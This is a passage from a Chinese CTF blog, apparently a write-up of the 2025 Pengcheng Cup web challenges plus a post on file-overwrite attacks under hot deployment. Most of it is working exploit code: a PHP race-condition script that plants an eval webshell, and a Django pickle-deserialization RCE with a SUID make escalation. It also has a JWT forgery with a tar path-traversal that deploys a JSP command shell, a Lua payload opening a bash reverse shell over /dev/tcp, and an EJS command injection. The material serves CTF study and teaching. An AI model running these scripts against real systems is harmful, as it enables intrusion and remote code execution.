热部署 on Freedom

鹏城杯2025web复现

Tue, 16 Dec 2025 14:46:59 +0800

共用一个靶机真是抽象，没怎么打简单看一下题目吧

X_xSe

找了半天的flag，结果你说你在数据库里面？

xxe黑盒不知道过滤了啥，反正当时xxe外带成功了，后面就没做出来。

9000端口还有一个数据库的web服务（可以用gopher协议探测端口），简单绕过过滤sqlite盲注即可。

具体可以看https://baozongwi.xyz/p/pcb-2025/#pcb5-x_xse

ez_php

又是黑盒

cookie是用的反序列化的格式，伪造一下admin即可，过滤了admin需要双写一下。

<?php
// 修正后的生成脚本
namespace Session;

class User {
    // 必须是 private 才能生成 \0ClassName\0PropertyName
    private $username = "aadmindmin";
}

$user = new User();
$serialized = serialize($user);

// 确认序列化结果
var_dump($serialized);

// 输出 Base64 编码后的 Payload
echo base64_encode($serialized);
?>

进后台后有个任意读取，后面也是没翻到flag，看了wp发现是在flag.php里面，php被过滤了，用类似于羊城杯那道的绕过方式

`1`	`/dashboard.php?filename=flag.php/`

Uplssse

黑盒…

cookie还是用的反序列化，签一个is_admin:1进去了

进去是一个文件上传，上传后有时间检测，一下子想到条件竞争，当时没打进去。因为用的同一个靶机，感觉好多队伍是碰巧用上别人的webshell了。没有环境也没法复现，不过找到这篇wp，我觉得思路是对的。

f12中的提示

1
2

<meta name="dev-settings" content="autoload_extension=.inc">
<meta name="dev-settings" content="tmp_directory=./tmp/">

当PHP反序列化一个未定义的类时，会触发spl_autoload机制去加载类文件，根据提示，autoload会去 ./tmp/类名.inc 查找类定义，想到我们刚才越权位置正好有一个反序列化，可以上传一个.inc文件到tmp目录，并通过cookie去触发autoload，包含Evil.inc时执行其中的PHP代码，直接放上wp上的exp。

import requests
import threading
import base64

TARGET = "http://ip"
ADMIN_COOKIE = {"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="}
EVIL_COOKIE = {"user_auth": base64.b64encode(b'O:4:"Evil":0:{}').decode()}

# 恶意.inc内容 - 写入持久化shell
PAYLOAD = b'''<?php
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');
echo "SHELL_WRITTEN";
class Evil {}
?>'''

success = False

def upload():
    """用Admin Cookie上传Evil.inc"""
    global success
    whilenot success:
        try:
            requests.post(f"{TARGET}/upload.php",
                files={'file': ('Evil.inc', PAYLOAD, 'application/octet-stream')},
                data={'upload': 'upload'},
                cookies=ADMIN_COOKIE, timeout=1)
        except: pass

def trigger():
    """用Evil Cookie触发autoload"""
    global success
    whilenot success:
        try:
            r = requests.get(f"{TARGET}/upload.php", cookies=EVIL_COOKIE, timeout=1)
            if'SHELL_WRITTEN'in r.text:
                success = True
                print("[+] Shell written successfully!")
        except: pass

# 启动多线程
for _ in range(5):
    threading.Thread(target=upload, daemon=True).start()
for _ in range(10):
    threading.Thread(target=trigger, daemon=True).start()

import time
time.sleep(30)

ezDjango

终于给源代码了，原型是香山杯2023决赛ezcache，几乎没改什么东西

0x01 代码审计

看一下整体结构

/app目录主要负责应用的配置，/cacheapp目录主要负责应用的业务

从/cacheapp路由入手：

/generate

@csrf_exempt
def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro', ''))
        user = request.user if request.user.is_authenticated else 'Guest'
        blacklist = ['admin', 'config.']
        for word in blacklist:
            if word in intro:
                return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
        
        if not f:
            return HttpResponse("❌ 没有上传文件")
        
        if not filename:
            filename = f.name
        if '.py' in filename:
            return HttpResponse("❌ 不允许上传.py文件")
        try:
            static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
            os.makedirs(static_dir, exist_ok=True)
            filepath = os.path.join(static_dir, filename)
            write_file_chunks(f, filepath)
            
            return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
            
        except Exception as e:
            return HttpResponse(f"❌ 文件上传失败: {str(e)}")
    
    return render(request, 'generate.html')

intro参数这里存在格式化字符串漏洞，那就可以读取任意 user 对象里的内容（不能执行方法）

`1`	`{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}`

也可以读取其他的信息，不过因为都给了源码，本地和源码中settings.py应该大差不差。filename这里文件上传，可以路径穿越覆盖任意文件（只过滤了py)，暂时没看出能干什么。

/upload

@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')

还是可以路径穿越，不过只允许.cache结尾的文件。

/copy

@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')

src和dst都没有过滤，又是可以任意目录移动文件。

/cache/viewer

@csrf_exempt
def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')
# utils.py
def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def read_file_bytes(path: str) -> bytes:
    with open(path, "rb") as f:
        return f.read()

传入key可以任意读取.djcache文件（前提是计算出文件名）

/cache/trigger

@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)
            if isinstance(val, (bytes, bytearray)):
                return json_success('Triggered', value_b64=base64.b64encode(val).decode())
            return json_success('Triggered', value=str(val))
        except Exception as e:
            return json_error(str(e))
    return json_error('POST required')

跟进一下这个cache

Django 会从 settings.CACHES 读取缓存配置，找一下settings.py里怎么写的

配置把默认缓存后端设成了 Django 的文件缓存 FileBasedCache，继续跟进FileBasedCache

get方法这里存在严重的pickle反序列化漏洞，可以进行RCE。这里不是直接传入pickle，而是将恶意pickle构造成合法的.djcache

一个合法的 .djcache 文件结构是：

`1`	`[pickle(expiry)] + [zlib(pickle(value))]`

我们构造的时候要保证它没有过期

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

0x02 预期

可以说是漏洞百出，整理一下上面的思路

1.通过/generate路由格式化字符串漏洞泄露出缓存路径和缓存key

2.制作恶意反序列化文件保存为.cache文件

3.通过/upload路由上传.cache文件

4.通过缓存key计算出文件名

5.通过/copy路由将.cache文件复制到对应的缓存路径（文件名使用计算好的，后缀使用.djcache）

6.通过/cache/trigger传入缓存key触发picke反序列化

7.远程环境还有一个suid make提权

贴一下baozongwi师傅的脚本

import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx

BASE_URL = 'http://ip'

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        # cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

def get_server_config(client):
    def fetch(payload, fallback, name):
        try:
            resp = client.post(
                "/generate/",
                data={'intro': payload},
                files={'file': (name, b'1', 'application/octet-stream')}
            )
            match = re.search(r'<h3>(.*?)</h3>', resp.text)
            return match.group(1).strip() if match else fallback
        except Exception:
            return fallback

    cache_dir = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}',
        '/tmp/django_cache',
        'loc.txt',
    )
    cache_key = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}',
        'pwn',
        'key.txt',
    )
    return cache_dir, cache_key

def run_exploit():
    target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')

    with httpx.Client(base_url=target_url, timeout=5.0) as client:
        print(f"[*] Target: {target_url}")

        cache_dir, cache_key = get_server_config(client)
        print(f"[+] Cache Dir: {cache_dir}")
        print(f"[+] Cache Key: {cache_key}")

        cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
        destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"

        payload_data = construct_payload()
        try:
            print("[*] Uploading payload...")
            upload_resp = client.post(
                "/upload/",
                data={'filename': 'exploit.cache'},
                files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
            )
            uploaded_path = upload_resp.json().get('filepath')
            
            if not uploaded_path:
                print("[-] Upload failed, no filepath returned.")
                return
            print(f"[+] Uploaded to temporary path: {uploaded_path}")

            print(f"[*] Copying to {destination_path}...")
            client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})

            print("[*] Triggering deserialization...")
            trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
            
            result = trigger_resp.json()
            b64_output = result.get('value_b64')
            
            if b64_output:
                flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
                print(f"\n[SUCCESS] Flag: {flag}\n")
            else:
                print("[-] No output in trigger response.")
                
        except httpx.RequestError as e:
            print(f"[-] Network error: {e}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == '__main__':
    run_exploit()

0x03 非预期

与其说是题目的非预期，不如说是题目共用一个靶机的环境造成的非预期

从预期的思路里面看到，我们有一个.djcache文件任意读/cache/viewer路由没有使用。结合还有/copy路由，我们可以直接把flag移动到缓存目录并重命名，接着.djcache文件任意读即可。但题目本来的设计flag应该是400权限，我猜因为有些队伍打通了就顺便把权限改了造成了非预期，难评…

import requests
import hashlib
BASE_URL = "http://ip"

# 这个key随便伪造
key = "pwn"
cache_filename = hashlib.md5(key.encode()).hexdigest() + '.djcache'
print(f"Cache filename: {cache_filename}")
data = {
    'src': '/flag',
    'dst': f'/tmp/django_cache/{cache_filename}'
}
resp = requests.post(f"{BASE_URL}/copy/", data=data)
print(f"Result: {resp.json()}")

data = {
    'key': key
}
resp = requests.post(f"{BASE_URL}/cache/viewer/", data=data)
result = resp.json()
if result.get('status') == 'success':
    raw_hex = result.get('raw_content', '')
    flag_content = bytes.fromhex(raw_hex).decode('utf-8')
    print("FLAG:")
    print(flag_content)

ezJava

0x01 路径穿越

给了一个提示

1
2

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) 
RewriteRule ^/download$ /%2 [B,L]

怎么似曾相识，原来是在n1ctf2025上出现过啊，利用的是CVE-2025-55752。

`1`	`/download?path=/uploads/..%2fWEB-INF%2fweb.xml`

先读取到了web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <display-name>JWT Login WebApp</display-name>
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>com.ctf.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>com.ctf.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DashboardServlet</servlet-name>
        <servlet-class>com.ctf.DashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>BackUpServlet</servlet-name>
        <servlet-class>com.ctf.BackUpServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/login</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/register</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DashboardServlet</servlet-name>
        <url-pattern>/dashboard/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <url-pattern>/admin/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>BackUpServlet</servlet-name>
        <url-pattern>/backup/*</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
</web-app>

可以看到主要的类有五个，分别读取一下

1
2

/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
...

下载之后用idea或者jadx反编译

0x02 代码审计

jwt越权

admin这里发现一个jwtUtil（也在com.ctf包里面），读取一下class文件并反编译

public class JwtUtil {
    private static final Key key = new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
    private static final long EXPIRATION = 1800000;

    public static String generateToken(String username) {
        return Jwts.builder().setSubject(username).setExpiration(new Date(System.currentTimeMillis() + EXPIRATION)).signWith(key).compact();
    }

    public static String validateToken(String token) {
        try {
            Jws<Claims> claims = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token);
            return ((Claims) claims.getBody()).getSubject();
        } catch (JwtException e) {
            return null;
        }
    }
}

找到jwt-key以及加密方法，签一个admin即可越权

import jwt
import time

secret = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"

payload = {
    "sub": "admin",                 # 管理员用户名
    "exp": int(time.time()) + 1800  # 30 分钟
}

token = jwt.encode(payload, secret, algorithm="HS256")

print("jwt=" + token)

admin路由

有四个路由主要看一下upload路由

private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"), new String[0]);
        if (!fileDir.toFile().exists()) {
            fileDir.toFile().mkdirs();
        }
        resp.setContentType("application/json; charset=UTF-8");
        try {
            Part filePart = req.getPart("file");
            if (filePart == null) {
                resp.getWriter().write("{\"error\":\"no file uploaded\"}");
                return;
            }
            Path targetPath = Paths.get(getServletContext().getRealPath("tmp/out.tar"), new String[0]);
            InputStream in = filePart.getInputStream();
            try {
                OutputStream out = Files.newOutputStream(targetPath, new OpenOption[0]);
                try {
                    byte[] buf = new byte[8192];
                    while (true) {
                        int len = in.read(buf);
                        if (len == -1) {
                            break;
                        } else if (!new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾎ") && !new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾝ")) {
                            out.write(buf, 0, len);
                        }
                    }
                    if (out != null) {
                        out.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                    TInputStream tis = new TInputStream(new BufferedInputStream(Files.newInputStream(targetPath, new OpenOption[0])));
                    TarEntry entry = tis.getNextEntry();
                    if (entry != null) {
                        byte[] data = new byte[2048];
                        FileOutputStream fos = new FileOutputStream(getServletContext().getRealPath("uploads") + entry.getName());
                        BufferedOutputStream dest = new BufferedOutputStream(fos);
                        while (true) {
                            int count = tis.read(data);
                            if (count == -1) {
                                break;
                            } else {
                                dest.write(data, 0, count);
                            }
                        }
                        System.out.println(new String(data));
                        dest.flush();
                        dest.close();
                    }
                    tis.close();
                    File f = targetPath.toFile();
                    if (f.exists() && f.isFile()) {
                        boolean ok = f.delete();
                        if (!ok) {
                            resp.getWriter().write("{\"status\":\"delete failed\"}");
                            return;
                        }
                    }
                    resp.getWriter().write("{\"status\":\"ok\"}");
                } catch (Throwable th) {
                    if (out != null) {
                        try {
                            out.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } finally {
            }
        } catch (Exception e) {
            resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
        }
    }

上传tar文件，并自动解压，但没有校验tar包内的文件名，存在路径穿越覆盖任意文件漏洞。我们可以上传一个jsp，但是这里的web.xml是不支持jsp的，需要先覆盖web.xml。

<servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>
  
  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>

0x03 exploit

总结思路：

1.jwt越权进入admin

2.调用admin/upload覆盖web.xml

3.调用admin/upload上传jsp文件到根目录，rce

贴上baozongwi师傅的exp：

import httpx
import jwt
import datetime
import tarfile
import io
import time
import sys

TARGET_URL = "http://ip"
UPLOAD_URL = f"{TARGET_URL}/admin/upload"
SECRET_KEY = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
SHELL_FILENAME = "/../shell.jsp"
SHELL_CONTENT = b'''<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b, 0, a)); } out.print("</pre>"); }%>'''

def get_admin_token():
    payload = {
        "sub": "admin",
        "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(minutes=60)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def create_tar_bytes(filename, content_bytes):
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        info = tarfile.TarInfo(name=filename)
        info.size = len(content_bytes)
        tar.addfile(info, io.BytesIO(content_bytes))
    return tar_buffer.getvalue()

def upload_tar(client, token, tar_name, tar_data):
    cookies = {"jwt": token}
    files = {"file": (tar_name, tar_data, "application/x-tar")}
    return client.post(UPLOAD_URL, cookies=cookies, files=files, timeout=10.0)

def upload_web_xml(client, token, xml_path):
    try:
        with open(xml_path, "rb") as f:
            xml_data = f.read()
    except FileNotFoundError:
        print("Error: web.xml not found")
        sys.exit(1)

    tar_data = create_tar_bytes("/../WEB-INF/web.xml", xml_data)
    print(f"Payload size: {len(xml_data)} bytes")
    print("Uploading new web.xml...")
    r = upload_tar(client, token, "config.tar", tar_data)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")

def deploy_shell(client, token):
    tar_data = create_tar_bytes(SHELL_FILENAME, SHELL_CONTENT)
    upload_tar(client, token, "pwn.tar", tar_data)

def run_shell(client, cmd):
    final_shell_url = f"{TARGET_URL}/shell.jsp"
    params = {"pwd": "023", "i": cmd}
    r = client.get(final_shell_url, params=params, timeout=10.0)
    if r.status_code == 200:
        output = r.text.replace("<pre>", "").replace("</pre>", "").strip()
        print(output)

if __name__ == "__main__":
    token = get_admin_token()
    with httpx.Client() as client:
        try:
            upload_web_xml(client, token, "web.xml")
        except Exception as e:
            print(f"Upload failed: {e}")
            sys.exit(1)

        print("Waiting 10 seconds for reload...")
        time.sleep(10)
        print("Deploying shell...")
        try:
            deploy_shell(client, token)
        except Exception:
            pass

        time.sleep(1)
        try:
            run_shell(client, "env")
        except Exception:
            pass

当然这应该不是这个题目的预期（正好碰上热部署了），算了，~~反正这题也是出的一团糟…~~

参考文章

2025鹏城杯 Writeup by Mini-Venom

PCB2025 by baozongwi

由近期的比赛引发的覆盖文件思路的思考

Thu, 13 Feb 2025 13:26:00 +0800

0x00 前言

要想覆盖文件，首先我们需要搞清楚热部署的概念，热部署是指在不停止正在运行的应用程序或服务的情况下，对应用进行更新、部署或者配置更改的过程。如果不是热部署，你覆盖他的文件也没有用，他原来的服务仍不会停止。下面通过题目来详细聊聊：

0x01 hackergame 2024 禁止内卷

这是很久之前的比赛了，近期突然想到他就是这个思路，于是又拿出来看看

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets
 
app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)
 
UPLOAD_DIR = "/tmp/uploads"
 
os.makedirs(UPLOAD_DIR, exist_ok=True)
 
# results is a list
try:
    with open("results.json") as f:
        results = json.load(f)
except FileNotFoundError:
    results = []
    with open("results.json", "w") as f:
        json.dump(results, f)
 
 
def get_answer():
    # scoring with answer
    # I could change answers anytime so let's just load it every time
    with open("answers.json") as f:
        answers = json.load(f)
        # sanitize answer
        for idx, i in enumerate(answers):
            if i < 0:
                answers[idx] = 0
    return answers
 
 
@app.route("/", methods=["GET"])
def index():
    return render_template("index.html", results=sorted(results))
 
 
@app.route("/submit", methods=["POST"])
def submit():
    if "file" not in request.files or request.files['file'].filename == "":
        flash("你忘了上传文件")
        return redirect("/")
    file = request.files['file']
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    file.save(filepath)
 
    answers = get_answer()
    try:
        with open(filepath) as f:
            user = json.load(f)
    except json.decoder.JSONDecodeError:
        flash("你提交的好像不是 JSON")
        return redirect("/")
    try:
        score = 0
        for idx, i in enumerate(answers):
            score += (i - user[idx]) * (i - user[idx])
    except:
        flash("分数计算出现错误")
        traceback.print_exc()
        return redirect("/")
    # ok, update results
    results.append(score)
    with open("results.json", "w") as f:
        json.dump(results, f)
    flash(f"评测成功，你的平方差为 {score}")
    return redirect("/")

没有开 debug，但是也算是热部署的一种，注意到是在保存完文件后才检查文件类型的，所以可以打路径穿越覆盖 app.py

0x02 newstar 2024 week4 ezpollute

这道题的考点主要是原型链污染，不做过多探讨，感兴趣可以去看 wp，主要是看他的热部署

由于是热部署，最后一步可以覆盖 app.js

0x03 软件安全创新赛 2025 CachedVisitor

给的是一个 redis 环境，老生常谈的 ssrf，但是比赛时候我一直在用老方法，写 webshell，弹 shell 什么的，全都没有成功，赛后才知道是可以覆盖 /scripts/visit.script 的

local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end
 
    local content = file:read("*a")
    file:close()
    return content
end
 
local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end
 
local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end
 
main()

将脚本覆盖为

`1`	`##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##`

看源代码是一个好习惯

0x04 hgame 2025 week1 Bandbomb

不得不说 hgame 出题的质量是真高，兼顾题目趣味性和思路新颖性，

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
 
const app = express();
 
app.set('view engine', 'ejs');
 
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
 
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});
 
const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});
 
app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }
 
  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});
 
app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});
 
app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);
 
  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }
 
  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});
 
const port = 6666;
app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

问题是出在 rename 路由，没有任何过滤，可以路径穿越来覆盖文件，但是这里面由于不是热部署，无法覆盖 app.js，所以我们的目标转到了 views 目录下的 ejs 文件，模板渲染是可以动态更新的。

贴一下 exp：

import requests
import re
 
# 1. 上传文件的函数
def upload_file(file_path, url):
    try:
        with open(file_path, 'rb') as file:  # 确保文件句柄及时关闭
            files = {'file': file}
            response = requests.post(url + '/upload', files=files)
            response.raise_for_status()  # 如果请求失败则抛出异常
            print('[+] 文件上传成功:', response.json())
            return response.json().get('filename')  # 返回上传后的文件名
    except requests.exceptions.RequestException as e:
        print('[-] 文件上传失败:', e)
        raise
    except Exception as e:
        print('[-] 文件操作失败:', e)
        raise
 
# 2. 调用重命名路由的函数
def rename_file(old_name, new_name, url):
    data = {'oldName': old_name, 'newName': new_name}
    
    try:
        response = requests.post(url + '/rename', json=data)
        response.raise_for_status()  # 如果请求失败则抛出异常
        print('[+] 文件重命名成功:', response.json())
    except requests.exceptions.RequestException as e:
        print('[-] 文件重命名失败:', e)
        raise
 
# 3. 访问根目录并提取 hgame{} 或 flag{} 内容的函数
def extract_flag_or_hgame(url):
    try:
        response = requests.get(url + '/')
        response.raise_for_status()  # 如果请求失败则抛出异常
        content = response.text  # 获取响应的文本内容
        print(content)
        
        # 使用正则表达式提取 hgame{} 或 flag{} 中的内容
        match = re.search(r'(hgame\{.*?\}|flag\{.*?\})', content)
        if match:
            print('[+] 提取到的内容:', match.group(1))  # 打印提取的内容
        else:
            print('[-] 未提取到 hgame{} 或 flag 内容')
    except requests.exceptions.RequestException as e:
        print('访问根目录失败:', e)
 
# 4. 自动化流程
def automate_file_operations(url, command_to_execute):
    file_path = 'index.ejs'  # 请根据实际文件路径修改
    old_name = 'index.ejs'  # 上传后的文件名
    new_name = '../views/mortis.ejs'  # 新文件名
    
    # 生成index.ejs文件的内容，将用户输入的命令注入其中
    ejs_content = f"<%= process.mainModule.require('child_process').execSync('{command_to_execute}') %>"
    with open(file_path, 'w') as f:
        f.write(ejs_content)
    
    try:
        # 先上传文件
        uploaded_file_name = upload_file(file_path, url)
        
        # 然后重命名文件
        rename_file(uploaded_file_name, new_name, url)
        
        # 最后访问根目录并提取 hgame{} 或 flag{}
        extract_flag_or_hgame(url)
    except Exception as e:
        print('[-] 自动化脚本执行失败:', e)
 
# 获取用户输入的 URL和要执行的命令
url = input("[+] 请输入目标服务器的URL：")
command_to_execute = input("[+] 请输入要执行的命令（如 'env'）：")
 
# 执行自动化操作
automate_file_operations(url, command_to_execute)

0x05 hgame 2025 week1 双面人派对

这题想了好久才想明白要干什么（结合提示），上来给了两个端口，一个打开只有一个 elf 文件，另一个我通过 nc 连接是这样的（后来才知道一个是对应 80 端口（web 服务），一个对应 9000 端口（minio 服务））

发什么要么 400 要么 403，搞了半天才知道是 minio（就是类似于数据库的一个中间件），于是搜了相关漏洞，找到了这个 https://thr0cut.github.io/ctf/ctf-htb-skyfall/，但是半天访问那个路由也没打不通，根据提示

恍然大悟，一直访问不就是没有 key 吗，脱壳之后搜索 key

之后下载 minio client 跟着上面那个文章操作，可以看到 minio 都存了什么东西，一个是 src.zip（源码），一个名为 update 的 elf 文件（发现和上面的文件一样只是变了名字），到这里我还是在看那个 cve，服务器放个恶意更新包，让 mc 去下载这个更新包，进而 rce，一顿操作猛如虎发现没什么反应，问出题人才知道容器不出网，这时候我才想着去看源码。

package main
 
import (
	"fmt"
	"os/exec"
 
	"level25/fetch"
	"level25/conf"
 
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
)
 
func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
